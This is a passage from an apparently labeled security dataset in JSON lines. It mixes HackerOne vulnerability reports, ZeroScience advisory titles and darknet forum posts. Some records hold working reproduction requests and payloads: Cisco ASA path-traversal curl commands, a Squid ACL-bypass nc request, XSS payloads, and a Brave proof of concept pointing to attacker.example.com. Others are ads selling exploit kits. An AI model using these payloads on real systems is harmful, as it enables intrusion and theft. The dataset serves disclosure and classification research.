CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-2684\nBase Score: 5.9 MEDIUM Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1935\nBase Score: 4.8 MEDIUM Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-11784\nBase Score: 4.3 MEDIUM Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n## Impact\nMore than Critical. The system is vulnerable. Exploits are available.\n\n## Step-by-step Reproduction Instructions\n\n1. Navigate to █████████/examples/\nYou will see the standard examples page. Servlets allow to modify cookies and sessions.\n2. Navigate to any non exists address to get the Apache Tomcat version\nE.g. ███/examples/Readme\n\n## Product, Version, and Configuration (If applicable)\nApache Tomcat/8.5.33\n\n## Suggested Mitigation/Remediation Actions\n1. Upgrade Tomcat\n2. Remove /examples\n3. Change the configuration - display a custom 404 page\n\n## Impact\n\nMore than Critical. The system is vulnerable. Exploits are available.\nIn the An attacker can change session and cookies. Potential sessions interception.\nCVEs: Critical -1, High - 6, Medium - 4", "source": "hackerone", "timestamp": "2020-06-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4f183eb36573830af4c9", "text": "InfraPower PPS-02-S Q213V1 Authentication Bypass Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-10-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "cf7c7de6b04598613e12", "text": "[Path Traversal] Read-only path traversal (CVE-2020-3452) at https://████████\n\n**Summary:**\nI discovered a vulnerability Read-only path traversal (CVE-2020-3452) at https://████████\n\n**Description:**\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device.\n\n## Impact\nAn attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\n## Step-by-step Reproduction Instructions\n- In a web browser, navigate to https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\n- Once URL is fully loaded, you will be prompted to download file `translation-table` that represents `portal_inc.lua` which you can then open and observe its content.\n████████\n█████\n\n- Alternatively, you can execute the below linux bash terminal command to download that same file `portal_inc.lua`: \n\n```\ncurl -k \"https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\" --output portal_inc.lua \n```\n\n- You can download various internal files using curl flag `--output` to output the binary data to a file:\n \n```\ncurl -k \"https://████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session.js&default-language&lang=../\" --output session.js \n```\n\n## Product, Version, and Configuration (If applicable)\nWebApp endpoint\n\n## Suggested Mitigation/Remediation Actions\n- Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.\n- This advisory is available at the following link https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n## Impact\n\nAn attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.", "source": "hackerone", "timestamp": "2021-04-02", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ee492b4933f443a5eeac", "text": "[Authentication Bypass Using an Alternate Path or Channel] Cache Manager ACL Bypass\n\n## Summary:\nACL Manager can be bypassed giving non authorized users to squid-internal-mgr.\nPossible to bypass other url_regex, but only focused on manager. \n\n<= Squid-4.7 vulnerable\nSilently Fixed in Squid-4.8 \nAnnounce page was allocated, but never made http://www.squid-cache.org/Advisories/SQUID-2019_4.txt As another issue similar to this wasn't fixed \n\nPatch: http://www.squid-cache.org/Versions/v4/changesets/squid-4-e1e861eb9a04137fe81decd1c9370b13c6f18a18.patch\n\nAssigned: CVE-2019-12524\n## Steps To Reproduce:\n\n1) Start squid-4.7\n```\n./sbin/squid\n```\n\n2) Issue the following request replacing <hostname> with the hostname of the server running squid\n```\necho -e \"GET https://jeriko.one%252f@<hostname>:3128/squid-internal-mgr/active_requests HTTP/1.1\\r\\n\\r\\n\" |nc <hostname> 3128\n```\n\n```\nHTTP/1.1 200 OK\nServer: squid/4.7\nMime-Version: 1.0\nDate: Wed, 18 Mar 2020 23:41:31 GMT\nContent-Type: text/plain;charset=utf-8\nExpires: Wed, 18 Mar 2020 23:41:31 GMT\nLast-Modified: Wed, 18 Mar 2020 23:41:31 GMT\nX-Cache: MISS from g64\nTransfer-Encoding: chunked\nVia: 1.1 g64 (squid/4.7)\nConnection: keep-alive\n\n1AF\nConnection: 0x5594f78d95f8\n\tFD 10, read 85, wrote 0\n\tFD desc: Reading next request\n\tin: buf 0x5594f7d2e1a4, used 1, free 4011\n\tremote: 192.168.4.144:38376\n\tlocal: 192.168.4.144:3128\n\tnrequests: 1\nuri https://jeriko.one%2f@g64:3128/squid-internal-mgr/active_requests\nlogType TCP_MISS\nout.offset 0, out.size 0\nreq_sz 84\nentry 0x5594f7d2b720/0300000000000000291F000001000000\nstart 1584574891.149644 (0.000000 seconds ago)\nusername -\n\n\n0\n```\nYou should have accessed the active_requests page in the squid-internal-mgr \n\n## Analysis\n\nWhen Squid is checking ACLs and it wants to check if a URL is a cache manager\nURL it checks the following rule\n\n```\n default_line(\"acl manager url_regex -i ^cache_object:// +i ^https?://[^/]+/squid-internal-mgr/\");\n```\nWhen checking if the URL matches the regex the function\nACLUrlStrategy::match will be called. This will get the effectiveRequestUri,\ndecode it and then try to match it against the regex\n\n```\nACLUrlStrategy::match (ACLData<char const *> * &data, ACLFilledChecklist *checklist)\n{\n char *esc_buf = SBufToCstring(checklist->request->effectiveRequestUri());\n rfc1738_unescape(esc_buf);\n int result = data->match(esc_buf);\n xfree(esc_buf);\n return result;\n}\n```\neffectiveRequestUri() will return url.absolute() for methods that aren't\nCONNECT and schemes that aren't PROTO_AUTHORITY_FORM\n\n Looking at Uri::absolute we see that the userInfo is included into the\n absolute uri representation if the protocol is HTTPS\n\n```\n const bool omitUserInfo = getScheme() == AnyP::PROTO_HTTP ||\n getScheme() != AnyP::PROTO_HTTPS ||\n userInfo().isEmpty();\n if (!omitUserInfo) {\n absolute_.append(userInfo());\n absolute_.append(\"@\", 1);\n }\n```\nuserInfo is set in Uri::parse if the foundHost contains a @ that\nthe userinfo is extracted and then decoded.\n```\n t = strrchr(foundHost, '@');\n if (t != NULL) {\n strncpy((char *) login, (char *) foundHost, sizeof(login)-1);\n login[sizeof(login)-1] = '\\0';\n t = strrchr(login, '@');\n *t = 0;\n strncpy((char *) foundHost, t + 1, sizeof(foundHost)-1);\n foundHost[sizeof(foundHost)-1] = '\\0';\n // Bug 4498: URL-unescape the login info after extraction\n rfc1738_unescape(login);\n }\n```\nThis is eventually stored in userInfo when calling parseFinish\n parseFinish(protocol, proto, urlpath, foundHost, SBuf(login), foundPort);\n\nThis userInfo is the decoded version, therefore special tokens such as ? # /\nare possible entries in the userInfo. \n\nWe see now that the URL is decoded twice when checking RegexURL acls.\n\nLet's consider the following example URL to show how we can access\nCacheManager due to this double decode flaw.\n\ng64 is the name of my Squid server\n\nhttps://j", "source": "hackerone", "timestamp": "2021-08-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "aea2c1e90c2d86d35fa8", "text": "Textpattern 4.2.0 (txplib_db) Null Termination Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-09-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "29267379c09501aa73b1", "text": "Dropped you a PM. I can do this at a reasonable rate.", "source": "hackforums", "timestamp": "2015-01-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "81ef7994833cb5514dfc", "text": "iniNet SpiderControl SCADA Web Server Service 2.02 Insecure File Permissions\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-12-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e048f27c2e988386b973", "text": "ZKTeco ZKBioSecurity 3.0 (visLogin.jsp) Local Authorization Bypass\n\nSeverity: low", "source": "zeroscience", "timestamp": "2016-08-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2063336c77f5decb010f", "text": "AVE DOMINAplus <=1.10.x CSRF/XSS Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-12-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5c13f35192bf6e9f3c1e", "text": "[Cleartext Transmission of Sensitive Information] CVE-2021-22923: Metalink download sends credentials\n\n## Summary:\nWhen compiled `--with-libmetalink` and used with `--metalink` and `--user` curl will use the credentials for any further transfers performed. This includes different hosts and protocols, even ones without transport layer security such as `http` and `ftp`. As a result the credentials only intended for the target site may end up being sent to outside hosts, and without transport layer security, and may be intercepted by attackers in man in the middle network position.\n\nFor example HTTP redirects will not leak the credentials to other hosts unless if `--location-trusted` is used, thus this is unexpected and insecure behaviour.\n\n## Steps To Reproduce:\n 1. Configure libcurl `--with-libmetalink` and build libcurl\n 2. Have metalinktest.xml with `<url>` referencing data on different host than testsite and using `http` protocol\n 3. Execute: `curl --metalink --user professor:Joshua https://testsite/metalinktest.xml`\n\nThe credentials can be seen by the target host and anyone in man in the middle position:\n`Authorization: Basic cHJvZmVzc29yOkpvc2h1YQ==`\n\n## Remarks\nCWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) might be a more accurate CWE.\n\n## Fix\n- Perhaps `--location-trusted` should be extended to apply to `--metalink` as well\n\n## Impact\n\nLeak of credentials to unauthorized parties§", "source": "hackerone", "timestamp": "2021-07-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2c5a0163d3eedd412d31", "text": "[Silk Road 2] PM from Silkroad Tor Update - Do not download - Virus!\n\nI received a message on the marketplace from user Ѕilkroad asking me to download the new Tor Browser Bundle however the link he gives is not the torproject.org url but a sourceforge link. The  file he wants you to download is a virus it will steal your bitcoins and/or spy on you. It could also be LE. If you have downloaded the Tor broweser bundle from that link or even visited heartbleed.com as he wants you to in the PM it's a good idea to back everything up and format your computer if you want to keep your bitcoins and/or freedom. Here's the message below:Ѕilkroad12 Apr 02:23 UTCЅilk Road Security Announcement 2014-04-11On April 7th 2014 an announcement of a serious bug in the OpenSSL library was made public. This bug which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys user information passwords identity etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Ѕilk Road is a hidden service hosted through the Tor network and while our site is not affected by this OpenSSL vulnerability. the Tor software that makes up the network was affected by this bug in some instances since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should upgrade to the latest release version immediately as the bundled version of Tor is vulnerable to the attack.Get the latest Tor Browser Bundle version fromhttp://sourceforge.net/projects/tor-browser/files/latest/downloadWe are constantly vigilant about new threats and the security of our market and users and are taking these steps as a precaution.-Ѕilk Road", "source": "gayanku", "timestamp": "2014-04-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9956c91b1017e593037c", "text": "[Improper Authentication - Generic] Password reset token not expiring\n\nOld unused Password reset tokens are not expiring on mail.ru after the issuance of a new token.\r\n**Explaination**\r\nSuppose at 09:00 hrs I used password reset options of mavenlink and got a token on my email.Lets call it token01.But i didnot use it.\r\nAnd at 09:04 hrs I used again the password reset option and got a new token,which is token02.\r\nNow generally after the issuance of token02,the previous unused token should expire.But in case of mavenlink its not happening.Both the tokens are remaining usable at the same time.\r\n\r\n**Attack Scenario**\r\nSuppose I am an attacker and I got access to the recovery email option of your mavenlink account.I logged in to ur recovery email (suppose that is user@gmail.com).Then I used the forget password option of your mavenlink email.I will get one password reset token.\r\nI noted the token and then deleted the email from user@gmail.com.\r\nIn the meantime u understood that someone got access to ur account.They you reset the password of mavenlink by issuing new token and also u changed the password of ur user@gmail.com so that any one cant hack again ur mavenlink account.\r\nNow its time for my exploitation.\r\nI will use my token which is live even after your issuance of new token.and I will hack into ur mavenlink account.\r\n\r\n**Mitigation**\r\n1. Use a certain living span for a token.Suppose,a token will remain valid upto 12 hours after being issued.\r\n2. All unused tokens should expire automatically after the issuance of a new token.", "source": "hackerone", "timestamp": "2014-07-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ff49efcd136b18582061", "text": "Wowza Streaming Engine 4.5.0 Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-07-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d248d46cbbb200b429d2", "text": "RIG Exploit Kit High Infection Rates\n\nWas wondering if users here would be interested in RIG exploit kit? -Work On all WinOS 32 / 64bi -Bypass UAC on exploits -Fast cleaning + cleaning on request -Keep Large volumes of traffic, no traffic limits -We provide always clean and trust domains with automatic check on the blacklist -We use CVE-2013-7331 for detect and stop AV or virtual machines. -API with automatic delivery Each account has a 2 stream and can ship 2 different exe Current exploits: ✔ Java: CVE-2012-0507 ✔ Java: CVE-2013-2465 ✔ IE7-8-9: CVE-2013-2551 ✔ IE10:CVE-2013-0322 ✔ Flash:CVE-2014-0497 ✔ Flash:CVE-2015-0311 ✔ Silverlight:CVE-2013-0074 An average rate of 10-30% Cost: 1 day - 50 usd Week - 200 usd month - 700 usd Jabber: 0x43@exploit.im We Accept English Speaking Users, You can Pay Only bitcoin", "source": "evolution", "timestamp": "2015-02-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "64d448e853016ff76430", "text": "[Privilege Escalation] Cheating at gallery rating\n\nHello!\r\n\r\nExample: http://www.zaption.com/listing/55aba5719c77e5386eb28df0\r\n\r\nWe can rate tour any mark by POST http://www.zaption.com/ajax/gallery/listing/{tour_id}/rate/{mark}\r\nFor example:\r\nPOST http://www.zaption.com/ajax/gallery/listing/55aba5719c77e5386eb28df0/rate/100000000000000000\r\n\r\nSo, we have \"curve\" layout and cheating in voting.\r\n\r\nThank you for reading this report!", "source": "hackerone", "timestamp": "2015-07-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "053e7590be3843bc68d6", "text": "Selling office exploit with these specs: \n \nWorks on \\- Office 2007 / Office 2010 -- XP / VISTA / 7 -- FUD. \nCVE ID: CVE-2013-3854 \nPrice \\- 300 USD per build. (Price wont change, no point in discussing that on\nthread) \nPayment \\- Only BTC. \nDemo \\- I can show test execution over teamviewer. \n \n**Selling only 5 builds for less spread. Any other queries pm me. \n \nI dont have time for fancy thread graphics dont trash my thread for that. \n \nEdit: Updated CVE ID.", "source": "hackforums", "timestamp": "2014-05-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "47301c918766cea14af0", "text": "[Off-by-one Error] Exim off-by-one RCE vulnerability\n\nHi, \n\nI found an off-by-one in Exim MTA utility function. It was reported to exim and official patch has been released, assigned CVE-2018-6789. This bug affects all versions of exim.\n\nThis bug is simple, but can be leverage to gain remote code execution, using skillful heap exploitation. Details are here: https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/\n\nI believe exim is widespread enough and it seems to fit all criteria. I wonder if this finding worths a bounty, or the reason why it is not included. Thanks!\n\n## Impact\n\nPre-auth remote code execution on all versions of exim mail server", "source": "hackerone", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2f7be3a6d78e13444f05", "text": "[Improper Authentication - Generic] AWS S3 bucket writable for authenticated aws user\n\nHey,\n\nI found an open S3 Amazon bucket udemy-maven. While I can’t confirm if you own it or not, it appears that it is publicly writable using the aws cli.\n\nWhen I write to udemy-maven, I get:\nmove: ./test.txt to s3://udemy-maven/test.txt\n\nAnd also when I remove file, I get:\ndelete: s3://udemy-maven/test.txt\n\nAssuming you own it, the security issue is that someone could delete files or write something malicious into the bucket and someone on your team unknowingly opening it.", "source": "hackerone", "timestamp": "2017-01-05", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1ea33abca1a2a5db5ff1", "text": "SOYAL 701Server 9.0.1 Insecure Permissions\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "172258c2e2c5d7589ac2", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS and HTML Injectionon a DoD website\n\nSummary: I found Xss and Html injection vulnerabilities on one of the DoD websites\n\nDescription: When doing the Xss tests I used this payload: <script> alert (\"XSS\") </script> and when running I noticed that the server returned a 403 Forbidden error, but it was easy to do a bypass I just modified the javascript tags it was like this: <ScRipT x> alert ('XSS') </ ScRipT X> then the server returned code 404 to me, thus executing successfully without any restrictions.\n\n## Impact: \nThis vulnerability allows the attacker to send a link with the malicious code to the Administrator of that system and by clicking on the link, the session would be hijacked, thus making it possible to have administrative access in the Web application. In the Html Injection, it could be used to \"spoof contents \"an injection of html could be made that would pretend to be a login form of the application, and the user would try to authenticate himself and thus manage to steal his credentials. Among other examples ...\n\n\n##Steps To Reproduce: \nCross Site Scripting:\n1.██████commonspot/dashboard/index.html#url=a;%3CScRipT%20X%3Ealert(%22XSS%20REFLECTED%22)%3C/ScRipT%20X%3E\n2.██████████commonspot/dashboard/index.html#mode=%3CScRipT%20x%3Ealert(%22XSS%22)%3C/ScRipT%20x%3E;&url=a\n\nHtml Injection:\n1.██████████commonspot/dashboard/index.html#url=a;%3Ccenter%3E%3Cimg%20src=%22███%22/%3E%3C/center%3E%3Ccenter%3E%3Ccenter%3E%3Cbr%3E%3Cfont%20color=%22red%22%20size=%2210%22%3EHTML%20INJECTION!%3C/font%3E%3C/center%3E\n\n2.██████████commonspot/dashboard/index.html#url=a;%3Ccenter%3E%3Cimg%20src=%22███████%22/%3E%3C/center%3E%3Ccenter%3E%3Ccenter%3E%3Cbr%3E%3Cfont%20color=%22red%22%20size=%2210%22%3EHTML%20INJECTION!%3C/font%3E%3C/center%3E\n\n## Product, Version, and Configuration \n\nCommonSpot 9.0 SP4 (Build 9.0.4.207) and Build: 2016-08-05 20:03:02\n\n## Suggested Mitigation/Remediation Actions:\nThis system uses Commonspot (CMS) is completely out of date, I recommend installing the most updated version or installing the various security paths, here is the Commonspot (CMS) developer website: https://www.paperthin.com/\n\n## Impact\n\n1) It would allow an attacker to send a link with malicious code, which allows the theft of cookies, sessions, tokens, etc. If one of these administrative sessions is captured, it could allow the attacker to access the web application improperly, for example by having access to administrative page of the application.\n2) Another impact would be counterfeiting of content, using HTML INJECTION.", "source": "hackerone", "timestamp": "2020-06-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5017fe78e96b56230e8f", "text": "Media Player Classic 6.4.9.1 DLL Hijacking Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-08-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b159d70f4928b05f344e", "text": "Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-10-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ec1891cf3d1100b4ac81", "text": "Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-07-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e8f97ce8f66654a99658", "text": "Aloaha Credential Provider Monitor 5.0.226 Local Privilege Escalation Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2013-01-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "635c46f120ddd45f9ff0", "text": "TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-11-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "96f1296241a903501582", "text": "[Command Injection - Generic] Sending arbitrary IPC messages via overriding Array.prototype.push\n\n## Summary:\nThis bug is similar to #187542 and #188086.\nI found that also `Array.prototype.push` is exploitable.\n\n## Tested on: \nBrave\t0.12.12\n\n## Steps To Reproduce:\n1. Go to this page: https://vulnerabledoma.in/brave/settings_change3.html \n```\n<script>\nArray.prototype.push=function(e){\n\tthis[0]=function(e,f){\n\t\te.sender.send(\"dispatch-action\",'{\"actionType\":\"app-change-setting\",\"key\":\"general.homepage\",\"value\":\"http://attacker.example.com/\"}');\n\t}\n}\n</script>\n\n<embed src=\".swf\"></embed>\n```\n\n2. See `about:preferences`. You can confirm that your home page is changed to `http://attacker.example.com/`.\n\nAlso an attacker can do UXSS and address bar spoofing using this bug. Please see #187542's PoC .\n\n#Technical Details\n\nThis `push` in the `event_emitter.js` is overwritten: \n```\nEventEmitter2.prototype.on = function (event, fn) {\n this._callbacks = this._callbacks || {};\n (this._callbacks['$' + event] = this._callbacks['$' + event] || [])\n .push(fn);\n return this;\n};\n```\n\nCould you confirm this bug?\nThanks!", "source": "hackerone", "timestamp": "2018-09-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0036d5dadfeb9dbf6067", "text": "[Unknown] Ajouter le même utilisateur que celui déjà inscrit dans les équipes\n\n**Description:**\n\nPossibilité d'ajouter le même utilisateur que celui déjà inscrit dans les équipes.\n\n### Steps To Reproduce\n\n1. Aller sur https://hackerone.com/team_name/team_members\n2. Observer les emails des utilisateurs.\n3. Utiliser le même email que celui précédemment inscrit, mais varier les majuscules / minuscules .\n4. On remarque qu'il est possible d'ajouter la même adresse que celle déjà inscrite.\n\n### Optional: Your Environment (Browser version, Device, etc)\n\n * Firefox \n\n### Optional: Supporting Material/References (Screenshots)\n\n * ██████████\n\n### FIX ###\n\n* Ajouter du grep sur l'email.\n\nCordialement\n\nRbcafe\n\n## Impact\n\n- Consommation serveur inutile.\n- Bypass des emails déjà existants.\n- Bypass du contrôle des emails déjà existants.", "source": "hackerone", "timestamp": "2018-07-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "066bf1797d394b215000", "text": "[Cross-site Scripting (XSS) - DOM] DOM Based XSS in www.hackerone.com via PostMessage (bypass of #398054)\n\n**Summary**\n\nThe security fix by Marketo to resolve the issue reported by @adac95 in #398054 can be bypassed by purchasing an .ma domain for €60.\n\n**Description**\n\nThe issues described by @adac95 in #398054 remain insufficiently resolved because of an inadequate security check by Marketo in the following piece of JavaScript in `forms2.min.js`\n```javascript\nif (a.originalEvent && a.originalEvent.data && 0 === i.indexOf(a.originalEvent.origin)) {\n var b;\n try {\n b = j.parseJSON(a.originalEvent.data)\n } catch (c) {\n return\n }\n b.mktoReady ? f() : b.mktoResponse && e(b.mktoResponse)\n}\n```\nSince the variable `i` resolves to `https://app-sj17.marketo.com/[...]`, an attacker can bypass this check by registering the Marcarian domain `app-sj17.ma` for €60. I have done so for the sake of a good POC, but the registration process is slow. I will comment on this issue when the POC is live.\n\n### Steps To Reproduce\n\n0. Wait for the POC to be live (registration of my .ma domain is in progress)\n1. Browse to my POC running on https://app-sj17.ma/marketo/post2.html (note that this is literally the POC written by @adac95)\n2. Note the malicous redirect is still successfully executed;\n\n## Impact\n\nAn attacker could be able to execute JavaScript in the context of the www.hackerone.com application, if the victim user makes use of a browser which does not support CSP. The attacker could also perform a limited phishing attack in Firefox or Microsoft Edge.", "source": "hackerone", "timestamp": "2019-05-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "144a935d473f8030844a", "text": "[Code Injection] [FG-VD-17-063] NextCloud Insufficient Attack Protection Vulnerability Notification\n\nSubject: [FG-VD-17-063] NextCloud Insufficient Attack Protection Vulnerability Notification\n\n-------\n\nVulnerability Notification\nMay 26, 2017\nTracking Case #: FG-VD-17-063\n\nDear NextCloud,\n\nThe following information pertains to information discovered by Fortinet's FortiGuard Labs. It has been determined that a vulnerability exists in NextCloud. To streamline the disclosure process, we have created a preliminary advisory which you can find below. This upcoming advisory is purely intended as a reference, and does not contain sensitive information such as proof of concept code. \n\nAs a mature corporation involved in security research, we strive to responsibly disclose vulnerability information. We will not post an advisory until we determine it is appropriate to do so in co-ordination with the vendor unless a resolution cannot be reached. We will not disclose full proof of concept, only details relevant to the advisory.\n\nWe look forward to working closely with you to resolve this issue, and kindly ask for your co-operation during this time. Please let us know if you have any further questions, and we will promptly respond to address any issues. \n\nIf this message is not encrypted, it is because we could not find your key to do so. If you have one available for use, please notify us and we will ensure that this is used in future correspondence. We ask you use our public PGP key to encrypt and communicate any sensitive information with us. You may find the key on our FortiGuard center at: http://www.fortiguard.com/pgpkey.\n\nType of Vulnerability & Repercussions:\n\tInsufficient Attack Protection\n\nAffected Product:\n\tNextCloud 12.0.0 (stable)\n\nUpcoming Advisory Reference:\n\thttp://www.fortiguard.com/advisory/UpcomingAdvisories.html\n\nCredits:\n\tThis vulnerability was discovered by Fortinet's FortiGuard Labs.\n\n\nProof of Concept & Additional Information:\n\tPlease check the attachment.\n\tDetailed information is at 'F188459', FG-VD-17-063.txt.", "source": "hackerone", "timestamp": "2018-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f4a213875ce796847946", "text": "Pointter PHP Content Management System 1.2 Multiple Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-03-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "498af82945bad6c76663", "text": "moneymoney2020 wrote: ok thanks guys... i made it.. Great, here is a new1 for someone out there 3867BBC2FD8F", "source": "evolution", "timestamp": "2014-02-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1c3c057eb06450338682", "text": "SOYAL Biometric Access Control System 5.0 Master Code Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3e27a82902b588937cb5", "text": "EDraw Flowchart ActiveX Control 2.3 (EDImage.ocx) Remote DoS Exploit (IE)\n\nSeverity: low", "source": "zeroscience", "timestamp": "2010-04-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6960f6a0bce090bca7b1", "text": "Teradek VidiU Pro 3.0.3 (snapshot.cgi) Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-05-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d2a34a747bacc13ae9ae", "text": "[Uncontrolled Resource Consumption] ASN.1 BIO excessive memory allocation (CVE-2016-2109)\n\nOn 4 April 2016 I reported a bug to the OpenSSL Security Team where I was able to force OpenSSL to use large amounts of cpu time, memory and swap space. They confirmed receipt on 6 April 2016 and on 22 April 2016 I was notified that they were assigning CVE-2016-2109 to this flaw and the fix was committed to git on 22 April 2016. \n\n```\nThe main cause is the way asn1_d2i_read_bio works: it allocates memory depending on the length field. Your test cases looks like this:\n\n30 84 30 30 30 30 30\n\nWhich translates to a SEQUENCE with a length of 0x30303030 which explains the huge memory requirements.\n\nIn some cases this is intended (for example large CMS messages) so we can't just reject these. Additionally because the input comes from a BIO we may not know the actual length of the data (e.g. from a pipe) so we can't immediately determine if there isn't enough data to read. We can however read the input in\nsmaller chunks and determine if there is an unexpected EOF. That would mean that you couldn't have a tiny file allocate huge amounts of memory. We currently have a patch being reviewed that does this: that would reject your test case instead of allocating lots of memory.\n\nIf you're calling the memory based ASN.1 decoders this shouldn't happen because they can sanity check length fields.\n```\n\nFixed in master:\nhttps://git.openssl.org/?p=openssl.git;a=commit;h=c62981390d6cf9e3d612c489b8b77c2913b25807", "source": "hackerone", "timestamp": "2016-05-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "60e93a70de3088507f55", "text": "[Reddit Darknet Markets] Anyone noticed this thread on the Hub?\n\nthere are many browser exploits that don't involve Javascript. Firefox has seen a half-dozen or so major exploits discovered in the past 18 months, most of which do not require Javascript to execute. \n\nExamples are [CVE-2014-1581](http://www.cvedetails.com/cve/CVE-2014-1581/) and [CVE-2014-1576](http://www.cvedetails.com/cve/CVE-2014-1576/), amongst others.\n\n\"you can't be exploited with javascript disabled\" is yet another oft-repeated \"security tip\" that is simply false. \n\nAs an aside, Firefox is a horrible browser - the Tor Browser Bundle shouldn't be using it and it is *highly* likely that offensive FBI teams have 0day exploits for it (and again, they wouldn't require Javascript) and have used them to unmask Tor users.", "source": "gayanku", "timestamp": "2014-12-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3bea9548bd8340c5abe3", "text": "[Cross-site Scripting (XSS) - Reflected] ███████ - XSS - CVE-2020-3580\n\n████ appears to be affected by the Cisco ASA XSS CVE-2020-3580, This vulnerablity is targets the saml service within the VPN. It is triggered via a POST request to /+CSCOE+/saml/sp/acs?tgname=a\n\n## 